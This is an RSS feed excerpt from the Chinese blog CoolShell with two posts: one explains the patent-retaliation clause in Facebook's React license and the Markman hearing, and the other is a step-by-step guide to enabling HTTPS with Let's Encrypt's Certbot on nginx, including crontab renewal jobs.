<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Web开发 | 酷 壳 - CoolShell</title>
	<atom:link href="https://coolshell.cn/category/proglanguage/webdev/feed" rel="self" type="application/rss+xml" />
	<link>https://coolshell.cn</link>
	<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>
	<lastBuildDate>Sun, 21 Apr 2019 08:46:11 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2</generator>
	<item>
		<title>关于Facebook 的 React 专利许可证</title>
		<link>https://coolshell.cn/articles/18140.html</link>
					<comments>https://coolshell.cn/articles/18140.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Tue, 19 Sep 2017 06:08:00 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[业界新闻]]></category>
		<category><![CDATA[杂项资源]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[React]]></category>
		<guid isPermaLink="false">https://coolshell.cn/?p=18140</guid>

					<description><![CDATA[<p>随着Apache、百度、Wordpress都在和Facebook的React.js以及其专利许可证划清界限，似乎大家又在讨论Facebook的这个BSD+PAT...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/18140.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/18140.html">关于Facebook 的 React 专利许可证</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright size-sup_wechat_big" src="https://coolshell.cn/wp-content/uploads/2017/09/react_patent-360x200.jpg" alt="" width="360" height="200" />随着Apache、百度、Wordpress都在和Facebook的React.js以及其专利许可证划清界限，似乎大家又在讨论Facebook的这个BSD+PATENT的许可证问题了。这让我想起了之前在Medium读过的一篇文章——《<a href="https://medium.com/@dwalsh.sdlr/react-facebook-and-the-revokable-patent-license-why-its-a-paper-25c40c50b562" target="_blank" rel="noopener noreferrer">React, Facebook, and the Revocable Patent License, Why It&#8217;s a Paper</a>》，我觉得那篇文章写的不错，而且还是一个会编程的律师写的，所以有必要把这篇文章传播到中文社区这边来。注意，我不会全部翻译，我只是用我的语言来负责搬运内容和观点，我只想通过这篇文章让大家了解一下这个世界以及专利相关的知识，这样可以避免你看到某乎的“怎么看待XXX”这类的问题时人云亦云，能有自己的独立思考和自我判断。;-)</p>
<p>这篇文章的作者叫Dennis Walsh，他自称是亚历桑那和加利福尼亚州的律师，主要针对版权法和专利诉论的法律领域。但是这个律师不一样，他更很喜欢商业和软件多一些。现在他用React/GraphQL/Elixir在写一个汽车代理销售相关的软件，而且已经发布到第2版了。</p>
<p>首先，作者表明，专利法经常被人误解，因为其实充满了各种晦涩难懂的法律术语，所以，作者用个例子来讲述专利的一个原则 —— <strong>专利并不是授于让你制造或开发的权利，而是授予你可以排他的权利。（</strong>事实上似乎也是这样，申请专利很多时候都不是为了制作相关的产品，而是为了防止别人使用类似的技术制作相关的产品）</p>
<p><span id="more-18140"></span></p>
<p>如果有公司X为铅笔申请了专利，而另一家公司Y为把用于铅笔的橡皮擦申请了专利。那么，公司X可以阻止公司Y来生产铅笔，而对带橡皮擦的铅笔没办法，但是公司Y的专利可以让公司X不能生产带有橡皮擦的铅笔。</p>
<p>所以，公司Y的橡皮擦专利又被广泛地叫作“<a href="https://definitions.uslegal.com/b/blocking-patent/" target="_blank" rel="noopener noreferrer">Blocking Patent</a>”。公司Y不能说他发明了铅笔，因为这是公司X的专利，但是，他们可以让公司X无法对铅笔做出某些改进。</p>
<p>于是，因为这种 Blocking Patent 存在，对于开源的公司是不利的，因为根据上面的那个例子来说，开源公司就是公司X，他们做了一个基础的软件，而公司Y在上面做了些改进，并注册成了专利，从而导致开源的公司X无法对它基础开源软件作出被公司Y专利阻止的改进，开源的公司X希望能够自由地使用公司Y的橡皮擦专利，因为毕竟是它发明了铅笔并放弃了铅笔的专利。</p>
<p>于是就出来了“专利反击条款”（<a href="https://en.wikipedia.org/wiki/Software_patents_and_free_software#Patent_retaliation" target="_blank" rel="noopener noreferrer">Patent Retaliation Clauses</a>）。一般来说有两种专利条款，一种是弱条款，一种是强条款。</p>
<p>Weak Patent Retaliation Clauses &#8211; 这种条款声明，如果许可证持有者用某个专利来打击许可证颁布者，那么专利就视为终止。用人话来表达就是，公司X做了一个开源铅笔，而公司Y注册了橡皮檫专利。此时，公司X做了一支带像皮擦的铅笔，而公司Y马上对公司X提起专利侵权诉讼。那么，公司Y就失去了对底层铅笔的专利控制。（正如前面所说的，公司Y的橡皮擦专利因为在起诉公司X的开源铅笔，而失去了对开源铅笔的专利排他权利）</p>
<p>Strong Patent Retailiation Clauses &#8211; 这种条款声明比“弱条款”要的更多。具体来说就是，任何专利声明终结许可证，而不管这个专利有没有和你基础的软件有关系。用人话来说就是，公司Y使用他们的热气球专利来起诉公司X，那么公司Y就失去了他们对铅笔的专利限制。</p>
<p>我个人理解起来，这两种条款看上去是防御性质的。</p>
<p>Facebook的React的Patent License如下：</p>
<blockquote><p>The license granted hereunder will terminate, automatically and without notice,if you (or any of your subsidiaries, corporate affiliates or agents) initiatedirectly or indirectly, or take a direct financial interest in, any Patent Assertion: (i) against Facebook or any of its subsidiaries or corporateaffiliates, (ii) against any party if such Patent Assertion arises in whole orin part from any software, technology, product or service of Facebook or any ofits subsidiaries or corporate affiliates, or (iii) against any party relating to the Software. Notwithstanding the foregoing, if Facebook or any of itssubsidiaries or corporate affiliates files a lawsuit alleging patentinfringement against you in the first instance, and you respond by filing apatent infringement counterclaim in that lawsuit against that party that isunrelated to the Software, the license granted hereunder will not terminateunder section (i) of this paragraph due to such counterclaim.</p></blockquote>
<p>这些条款中和基础软件没有任何关系，所以，<strong>这个条款是“强专利反击条款”</strong>。</p>
<p>在后面，本文的作者又解解释了，为什么React的“强专利反击条款”就跟没有似的。他在文中针对一些歇斯底里的言论，如：“Facebook不用害怕专利诉讼了，而且他可以随时偷袭你家的专利仓库”，也作出了一些解释来分析这个事。</p>
<p>Contractural Liability &#8211; 意思是说，专利方面的东西只会影响专利上的事，而不会影响和专利无关的事，React底层协议是BSD-3许可证还是会被保留。换句话说，React的“强专利反击条款”只生效于专利层面，而不会对非常专利的软件使用产生问题，如果和专利无关，React还是走BSD-3的许可协议。</p>
<p>Copyright Liability &#8211; 这个和Contractural Liablitity 一样。作者说，如果有人有特别的案例或是有说服力的论据来说明Facebook的这个条款会作用于非专利的地方，那么，请告诉他。</p>
<p>Patent Liability &#8211; 专利的责任和损害是两件事，非专业人士总是会把其搞混。</p>
<p>第一个问题是Liability， 要搞清这个事，得搞清“Patent&#8217;s Claims”，而不是这个技术的技术规格说明，技术规格说明和权力主张是两码事。作者说，现在的很多专利都是一些想法，很多投机份子随便一拍脑袋就发明出一个想法，然后就去注册专利了。但是可以被用来法律执行的只有“Patent&#8217;s Claims”（专利的权利主张），而不是那些想法。这些权利主张相当相当的晦涩难读，而且是会故意被模糊掉的，因为，当你清楚的定义了你的发明是什么，那么，就可以清楚的定义出来什么不是你的发明。比如：一个铅笔专利权利主张里说，“这一个用石墨和木头组合起来的写字工具”，那么，只要我不用木头和石墨来做组合，而是用塑料来做组合，那么我就不是专利侵权。所以，一般来说，专利主张是会更为通用一些，比如，“这是一个用于涂画表面的装置，其包括：与涂画端相连的握持端”。作者这里给了一个<a href="https://www.google.com/patents/US8046721" target="_blank" rel="noopener noreferrer">苹果公司的滑动解锁专利</a>的示例。可以感受一下产品规格说明和专利权利主张完全是两码事。</p>
<p>专利这些事，在法律界里是非常非常困难作出评估的。所以，这个社会每年都会给律师们几十亿美金来一遍又一遍地回答这些问题，而且律师还经常回答错了。而对于美国的法律，对于专利诉讼会有一个叫<a href="https://en.wikipedia.org/wiki/Markman_hearing" target="_blank" rel="noopener noreferrer">Markman hearing的审前听证会</a>（马克曼听证会），自从1996年美国最高法的“<a href="https://en.wikipedia.org/wiki/Markman_v._Westview_Instruments,_Inc." target="_blank" rel="noopener noreferrer">马克曼诉威斯幽仪器公司案</a>”这个听证会就变成了一个惯例，美国联邦法院用这个听证会来向决定专利权利主张的解释，而且，上诉法院还经常性的推翻审判法院的裁决。（对于美国法律来说，一般是法官认证法律，陪审团认定事实，然而，对于专利而言，1996年的那个案件认为专利术语是一个需要法官决定的法律问题，而不是陪审团决定的事实问题。关于马克曼听证会的事，可以参看本文未尾的附录）</p>
<p>所以，要决定Facebook的专利责任，我们需要评估Facebook的专利及其权利主张，而不是技术规格说明。具体来说，要明确Facebook对于React这个底层技术的专利权利主张是什么？但是作者搜了一下，发现什么也没有找到。也就是说，对于USPTO（美国专利商标局）或法院来说，他们没办法对Facebook的这样没有为React申请专利的方式来执行任何和专利的诉讼，也就是说，Facebook的这个React License的条款，美国政府是无法在法律上支持的。</p>
<p>第二个问题是专利损害。就算是Facebook可以评估出来一个合法可执行的专利来保护React，对于专利损害也是很有问题的。作者说他到目前还没有发现一个开源软件被专利侵权的事，就算有这样的案例，也不会是这里说的这个事。作者觉得在这个事上操作起来就是一个笑话。</p>
<p>另外，作者认为，React 专利许可证这个事就是个纸老虎。因为，一方面，这个专利不像电信通讯里的那些专利，你拿不掉。作者认为要从你的代码中把React去掉虽然难，但是也不是什么很难的事，另外，要打这样的专利官司，一般来说，在美国至少要花100-200万美金的费用才能发起诉讼，而要胜诉则需要需要200多万到2000万美金的费用，你觉得你要花多钱才能把React从你的代码库中剔除？肯定比这钱少。</p>
<p>作者还认为，Facebook玩这个事虽然出发点不错，但是感觉并不聪明，从目前的情况看下来，就像他想咬你一口，但却没有牙。</p>
<p>后面，作者还说了一下，转成别的框架会不会有问题？比如：你用Preact/Vue或是你自研的东西？作者说，未必，如果Facebook真的为React注册了专利，比如：React里的组件技术、虚拟DOM渲染技术等等。那么，你用Preact/Vue或是带这样技术的自研的框架，那么，从你使用的第一天就在侵犯Facebook的专利权了。然而，使用React反而不会有这么大的风险，因为Facebook让你免费的用React。作者说，用别的框架的法律风险比用其它替代品的风险更高。</p>
<p>后面，作者也更新了一篇文章 《<a href="https://medium.com/@dwalsh.sdlr/using-graphql-why-facebook-now-owns-you-3182751028c9" target="_blank"  rel="noopener noreferrer">Using GraphQL? Why Facebook Now Owns You</a>》，意思是，用React可能还好，但是用GraphQL就有问题了。因为找到了GraphQL的专利—— <a href="https://patents.google.com/patent/US9646028" target="_blank" rel="noopener noreferrer">“Graph Query Logic”</a>。</p>
<p>后来我查了一下，我发现，React也有个相关的专利—— “<a href="https://patents.google.com/patent/US9003278" target="_blank" rel="noopener noreferrer">Efficient event delegation in browser scripts</a> ”，看上去和虚拟DOM渲染有关。Holy Shit!</p>
<p>好了，用还是不用React我也不知道，总之，这个世界比较复杂，我只是想借这篇文章来学习一下法律上的相关东西，欢迎听到大家的观点。</p>
<p>最后，请允许我调侃一下来结束本文——“不用担心React的许可证问题，因为前端不是一年半就用新的框架重写一次么？”哈哈。</p>
<p><strong>更新：Facebook官方于20017年9月23日在其官方blog上发贴《<a href="https://code.facebook.com/posts/300798627056246/relicensing-react-jest-flow-and-immutable-js" target="_blank" rel="noopener noreferrer">Relicensing React, Jest, Flow, and Immutable.js</a>》决定取消之前的带专利的许可证。</strong></p>
<h4>延伸阅读</h4>
<h5>马克曼听证会 &#8211; Markman Hearing</h5>
<p>马克曼听证会的一些背景知识，下面的文字来源于《<a href="http://www.sipo.gov.cn/sipo2013/mtjj/2013/201303/t20130320_788543.html" target="_blank" rel="noopener noreferrer">&#8220;马克曼听证&#8221;制度的由来及启示</a>》</p>
<p>与美国专利诉讼的悠长历史相比，1996年才经美国最高法院确立的“马克曼听证”（Markman Hearing，也称为Claim Construction，即权利要求书的解释）无疑是一项年轻的制度。但由于几乎所有的专利侵权诉讼中都会遇到涉案专利权利要求书的解释这一核心问题，且因“马克曼听证”结果往往清楚地预示了案件结果，经“马克曼听证”获得有利结论的一方一旦据此向法庭提起不审即判的动议，专利侵权诉讼往往可就此快速了结，因此该制度的确立成为美国专利诉讼历史上的一件大事。</p>
<p>“马克曼听证”制度的由来</p>
<p>“马克曼听证”制度确立之前，在专利侵权诉讼中的权利要求书解释，通常交由陪审团在对案件事实进行裁决时一并做出，且并不会在诉讼文件上单独就陪审团这一问题的判断进行记录。1991年，马克曼（Markman）先生因认为其拥有的专利号为RE33054的“干洗衣物贮存及追踪控制装置”专利权被Westview公司所侵犯，遂向宾夕法尼亚州东区联邦地方法院提起了专利侵权诉讼。</p>
<p>该专利是用扫描的方式，将客户的衣物编号扫描后输入电脑中做分类标示，并在衣物干洗过程中追踪衣物位置，干洗完成后自动将衣物放回客户固定的存贮位置。被告的产品则是同时运用扫描器和电脑两种方式，将客户干洗衣物的资料存入电脑并显示费用、日期等相关信息。本案陪审团的裁决认为被告装置构成对原告专利权利的侵犯，但该地方法院认为系争专利与被告装置在功能实施上并不一致，遂推翻陪审团的裁决，判决被告不构成侵权。</p>
<p>马克曼不服，于1995年向联邦上诉法院提起上诉，但其上诉理由仅为联邦地方法院错误地解释了陪审团关于专利权利要求书解释中某个词语的涵义。联邦上诉法院在审理该案时，将案件的核心问题定为两个：一是原告对于请求项解释有无权利请求陪审团裁决;二是联邦地方法院是否正确地解释了“Inventory”一词。该院多数法官经审理后认为，权利要求书范围的解释与确定，属于法律问题而非事实问题，因而属于法院权限，而不应交由陪审团决定，且此前将此问题交由陪审团确定并不妥当。同时，由于认为原告专利与被告装置存在实质功能上的差异，联邦上诉法院亦不认为被告构成专利侵权。少数持不同意见的该院法官主要是质疑这一结论违反了美国第七宪法修正案（即所有根据美国法律进行的普通法诉讼，只要争议金额超过20美元，即有要求陪审团审判的权利）。</p>
<p>马克曼不服，向最高法院提出上诉。1996年4月23日，美国最高法院就马克曼诉Westview器械公司案（Markman v. Westview Instruments, Inc. 517 U.S. 370 （1996））做出终审裁决，裁决认定：权利要求书的解释是联邦地区法院法官应当处理的法律问题，而不是应当由陪审团来认定的事实问题，尽管在解释权利要求书的过程中可能会包含一些对于事实问题的解释，且这样做并不违反第七修正案赋予给陪审团的权利。这一裁决标志着“马克曼听证”制度的正式确立。</p>
<p>“马克曼听证”制度的不足</p>
<p>该案判决是美国专利诉讼史上的一个重大转折。“马克曼听证”成为法官专门用于解释专利权利要求的一个经常性听证程序，用以解决专利侵权诉讼的核心问题。由于该听证并非普遍适用，因此，十几年来，联邦民事诉讼规则并未正式对其有任何规定，而是给予法院绝对的自由裁量权。但是，何时可以进行“马克曼听证”?如何进行?是否有必要进行?类似问题在一定程度上困扰了审理专利侵权案件较多的法院。</p>
<p>2001年，加州北区联邦地区法院率先制定了供本法院使用的专利审判专属规则（Patent Local Rules），其中第四部分即为权利要求书的解释程序（Claim Construction Proceddings），对“马克曼听证”的时间、流程、限制及当事人的义务均进行了规定。此后，各州纷纷效仿。目前，乔治亚州北区联邦法院、得克萨斯州东区联邦法院、得克萨斯州南区联邦法院、宾夕法尼亚州西区联邦法院等都制订了书面的“马克曼听证”程序指南。近年来，不断有新的案例在解释与细化着“马克曼听证”，如2006年的Wilson Sporting Goods Co.诉Hillerich &amp; Bradsby Co.案，2005年的Phillips诉AWH Corp.案，2008年的Howmedica Osteonics Corp.诉Wright Medical Technology, Inc.案，这些司法实践大大拓展与丰富了“马克曼听证”使用的实体和程序规则，使之日渐成为美国专利诉讼中一个复杂、完备的司法程序。以至于竟然有人开发了模拟“马克曼听证”程序，只要你愿意，可以下载并训练，以熟悉和确保有真正的权利要求书解释时不会出现不利于自己的问题。</p>
<p>但是，该听证带来的问题也逐渐受到重视。有人质疑说该程序导致专利诉讼费用增加，因为“马克曼听证”通常会单独进行，且程序复杂，因此导致当事人花费大量的时间与精力，更为重要的是，由于40%至60%的联邦地区法院案件会在联邦巡回上诉法院被推翻，因此，花费巨大的“马克曼听证”似乎价值有限。同时，权利要求书的解释要求是不多不少，忠实于技术发明思想与发明事实，但由于地区法院分散，法官的相关技术知识不十分专业，将权利要求书解释这样的问题交给他们，难免会带来一些无法克服的问题。</p>
<p>“马克曼听证”制度的启示</p>
<p>我国民事诉讼中并无陪审团制度，案件的事实问题与法律问题均由法官审理与确定。在专利侵权诉讼中，对于案件中涉及到的技术问题可以通过专家鉴定等方式解决，但并不因此免除法官审理案件的义务，即法律问题的判断归于法官，事实的法律属性判断仍然归于法官。同时，权利要求书的解释在我国的专利侵权诉讼中并不是一个单独的程序，而是合并在案件审理过程中。因此，仅就我国的司法审判而言，“马克曼听证”制度并无直接的借鉴意义。</p>
<p>但是，对于那些已经走出和正在走出国门的企业来说，了解与掌握这一重要的专利诉讼程序却是极其重要的。通领科技集团的积极尝试充分证明了这一点，而且随着这一程序的不断成熟，美国国际贸易法院（ITC）也开始在审理时适用“马克曼听证”制度。所以，知道“马克曼听证”意味着什么，确保所提交的用于解释权利要求的文件确实充分，学会利用“马克曼听证”，无论是对于破解美国的专利诉讼威胁，还是为未来准备有效的法律武器，无疑都非常重要。（知识产权报　作者　魏玮）</p>
<p>&nbsp;</p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" id="wp_rp_first"><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg" alt="程序员练级攻略（2018)  与我的专栏" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_title">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href="https://coolshell.cn/articles/7448.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg" alt="扎克伯格的一封信：关于Facebook IPO" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7448.html" class="wp_rp_title">扎克伯格的一封信：关于Facebook IPO</a></li><li ><a href="https://coolshell.cn/articles/4939.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg" alt="Quora使用到的技术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/4939.html" class="wp_rp_title">Quora使用到的技术</a></li><li ><a href="https://coolshell.cn/articles/4549.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg" alt="Facebook 的系统架构" width="150" height="150" /></a><a href="https://coolshell.cn/articles/4549.html" class="wp_rp_title">Facebook 的系统架构</a></li><li ><a href="https://coolshell.cn/articles/3396.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2010/12/Visualizing-Friendships-on-Facebook-150x150.png" alt="Facebook全球关系网" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3396.html" class="wp_rp_title">Facebook全球关系网</a></li><li ><a href="https://coolshell.cn/articles/7186.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/04/Green-Computing-150x150.jpg" alt="做个环保主义的程序员" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7186.html" class="wp_rp_title">做个环保主义的程序员</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/18140.html">关于Facebook 的 React 专利许可证</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/18140.html/feed</wfw:commentRss>
			<slash:comments>33</slash:comments>
		
		
			</item>
		<item>
		<title>如何免费的让网站启用HTTPS</title>
		<link>https://coolshell.cn/articles/18094.html</link>
					<comments>https://coolshell.cn/articles/18094.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Sat, 26 Aug 2017 06:06:17 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[杂项资源]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[HTTPS]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[安全]]></category>
		<guid isPermaLink="false">https://coolshell.cn/?p=18094</guid>

					<description><![CDATA[<p>今天，我把CoolShell变成https的安全访问了。我承认这件事有点晚了，因为之前的HTTP的问题也有网友告诉我，被国内的电信运营商在访问我的网站时加入了一...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/18094.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/18094.html">如何免费的让网站启用HTTPS</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="aligncenter size-full" src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner.png" alt="" width="700" height="220" />今天，我把CoolShell变成https的安全访问了。我承认这件事有点晚了，因为之前的HTTP的问题也有网友告诉我，被国内的电信运营商在访问我的网站时加入了一些弹窗广告。另外，HTTP的网站在搜索引擎中的rank会更低。所以，这事早就应该干了。现在用HTTP访问CoolShell会被得到一个 301 的HTTPS的跳转。下面我分享一下启用HTTPS的过程。</p>
<p>我用的是 <a href="https://letsencrypt.org" target="_blank" rel="noopener noreferrer">Let&#8217;s Encrypt</a>这个免费的解决方案。Let&#8217;s Encrypt 是一个于2015年推出的数字证书认证机构，将通过旨在消除当前手动创建和安装证书的复杂过程的自动化流程，为安全网站提供免费的SSL/TLS证书。这是由<a href="https://letsencrypt.org/isrg/" target="_blank" rel="noopener noreferrer">互联网安全研究小组</a>（ISRG &#8211; Internet Security Research Group，一个公益组织）提供的服务。主要赞助商包括<a title="电子前哨基金会" href="https://www.eff.org" target="_blank" rel="noopener noreferrer">电子前哨基金会</a>，<a class="mw-redirect" title="Mozilla基金会" href="https://www.mozilla.org/foundation/" target="_blank" rel="noopener noreferrer">Mozilla基金会</a>，<a title="Akamai" href="https://www.akamai.com/" target="_blank" rel="noopener noreferrer">Akamai</a>以及Cisco等公司（<a href="https://letsencrypt.org/sponsors/" target="_blank" rel="noopener noreferrer">赞助商列表</a>）。<sup id="cite_ref-3" class="reference"></sup></p>
<p>2015年6月，Let&#8217;s Encrypt得到了一个存储在硬件安全模块中的离线的RSA根证书。这个由IdenTrust证书签发机构交叉签名的根证书被用于签署两个证书。其中一个就是用于签发请求的证书，另一个则是保存在本地的证书，这个证书用于在上一个证书出问题时作备份证书之用。因为IdenTrust的CA根证书目前已被预置于主流浏览器中，所以Let&#8217;s Encrypt签发的证书可以从项目开始就被识别并接受，甚至当用户的浏览器中没有信任ISRG的根证书时也可以。</p>
<p><span id="more-18094"></span></p>
<p>以上介绍文字来自 Wikipedia 的 <a href="https://zh.wikipedia.org/wiki/Let%27s_Encrypt" target="_blank" rel="noopener noreferrer">Let&#8217;s Encrypt 词条</a>。</p>
<p>为你的网站来安装一个证书十分简单，只需要使用电子子前哨基金会EFF的 <a href="https://certbot.eff.org" target="_blank" rel="noopener noreferrer">Certbot</a>，就可以完成。</p>
<p style="padding-left: 30px;">1）首先，打开 <a href="https://certbot.eff.org" target="_blank" rel="noopener noreferrer">https://certbot.eff.org</a> 网页。</p>
<p style="padding-left: 30px;">2）在那个机器上图标下面，你需要选择一下你用的 Web 接入软件 和你的 操作系统。比如，我选的，<code>nginx</code> 和 <code>Ubuntu 14.04</code></p>
<p style="padding-left: 30px;">3）然后就会跳转到一个安装教程网页。你就照着做一遍就好了。</p>
<p>以Coolshell.cn为例 &#8211; Nginx + Ubuntu</p>
<p>首先先安装相应的环境：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">
$ sudo apt-get update
$ sudo apt-get install software-properties-common
$ sudo add-apt-repository ppa:certbot/certbot
$ sudo apt-get update
$ sudo apt-get install python-certbot-nginx
</pre>
<p>然后，运行如下命令：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">
$ sudo certbot --nginx
</pre>
<p><code>certbot</code> 会自动检查到你的 <code>nginx.conf</code> 下的配置，把你所有的虚拟站点都列出来，然后让你选择需要开启 https 的站点。你就简单的输入列表编号（用空格分开），然后，certbot 就帮你下载证书并更新 <code>nginx.conf</code> 了。</p>
<p>你打开你的 <code>nginx.conf</code> 文件 ，你可以发现你的文件中的 <code>server</code> 配置中可能被做了如下的修改：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">listen 443 ssl; # managed by Certbot
ssl_certificate /etc/letsencrypt/live/coolshell.cn/fullchain.pem; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/coolshell.cn/privkey.pem; # managed by Certbot
include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot</pre>
<p>和</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW"> # Redirect non-https traffic to https
if ($scheme != &quot;https&quot;) {
  return 301 https://$host$request_uri;
} # managed by Certbot</pre>
<p>&nbsp;</p>
<p>这里建议配置 http2，这要求 Nginx 版本要大于 1.9.5。HTTP2 具有更快的 HTTPS 传输性能，非常值得开启（<a href="http://blog.httpwatch.com/2015/01/16/a-simple-performance-comparison-of-https-spdy-and-http2/" target="_blank" rel="noopener noreferrer">关于性能你可以看一下这篇文章</a>）。需要开启HTTP/2其实很简单，只需要在 <code>nginx.conf</code> 的 <code>listen 443 ssl;</code> 后面加上 <code>http2</code> 就好了。如下所示：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">listen 443 ssl http2; # managed by Certbot 
ssl_certificate /etc/letsencrypt/live/coolshell.cn/fullchain.pem; # managed by Certbot 
ssl_certificate_key /etc/letsencrypt/live/coolshell.cn/privkey.pem; # managed by Certbot 
include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot</pre>
<p>然后，就 <code>nginx -s reload</code> 就好了。</p>
<p>但是，<strong>Let&#8217;s Encrypt 的证书90天就过期了</strong>，所以，你还要设置上自动化的更新脚本，最容易的莫过于使用 <code>crontab</code> 了。使用 <code>crontab -e</code> 命令加入如下的定时作业（每个月都强制更新一下）：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">0 0 1 * * /usr/bin/certbot renew --force-renewal
5 0 1 * * /usr/sbin/service nginx restart</pre>
<p>当然，你也可以每天凌晨1点检查一下：</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">0 1 * * * certbot renew </code></p>
<p>注：crontab 中有六个字段，其含义如下：</p>
<ul>
<li>第1个字段：分钟 (0-59)</li>
<li>第2个字段：小时 (0-23)</li>
<li>第3个字段：日期 (1-31)</li>
<li>第4个字段：月份 (1-12 [12 代表 December])</li>
<li>第5个字段：一周当中的某天 (0-7 [7 或 0 代表星期天])</li>
<li>/path/to/command &#8211; 计划执行的脚本或命令的名称</li>
</ul>
<p><strong>这么方便的同时，我不禁要问，如果是一些恶意的钓鱼网站也让自己的站点变成https的，这个对于一般用来说就有点难以防范了。哎……</strong></p>
<p>当然，在nginx或apache上启用HTTPS后，还没有结束。因为你可能还需要修改一下你的网站，不然你的网站在浏览时会出现各种问题。</p>
<p><strong>启用HTTPS后，你的网页中的所有的使用 <code>http://</code> 的方式的地方都要改成 <code>https://</code> 不然你的图片，js， css等非https的连接都会导致浏览器抱怨不安全而被block掉</strong>。所以，你还需要修改你的网页中那些 hard code <code>http://</code> 的地方。</p>
<p>对于我这个使用wordpress的博客系统来说，有这么几个部分需要做修改。</p>
<p style="padding-left: 30px;">1）首先是 wordpress的 常规设置中的 “<strong>WordPress 地址</strong>” 和 “<strong>站点地址</strong>” 需要变更为 https 的方式。</p>
<p style="padding-left: 30px;">2）然后是文章内的图片等资源的链接需要变更为 https 的方式。对此，你可以使用一个叫 “<a href="https://wordpress.org/plugins/search-regex/" target="_blank" rel="noopener noreferrer">Search Regex</a>” 插件来批量更新你历史文章里的图片或别的资源的链接。比如：把 <code>http://coolshell.cn</code> 替换成了 <code>https://coolshell.cn</code></p>
<p style="padding-left: 30px;">3）如果你像我一样启用了文章缓存（我用的是<a href="https://wordpress.org/plugins/wp-super-cache/" target="_blank" rel="noopener noreferrer">WP-SuperCache</a>插件），你还要去设置一下 “<strong>CDN</strong>” 页面中的 “Site URL” 和 “off-site URL” 确保生成出来的静态网页内是用https做资源链接的。</p>
<p>基本上就是这些事。希望大家都来把自己的网站更新成 https 的。</p>
<p>嗯，12306，你什么时候按照这个教程做一下你的证书？</p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





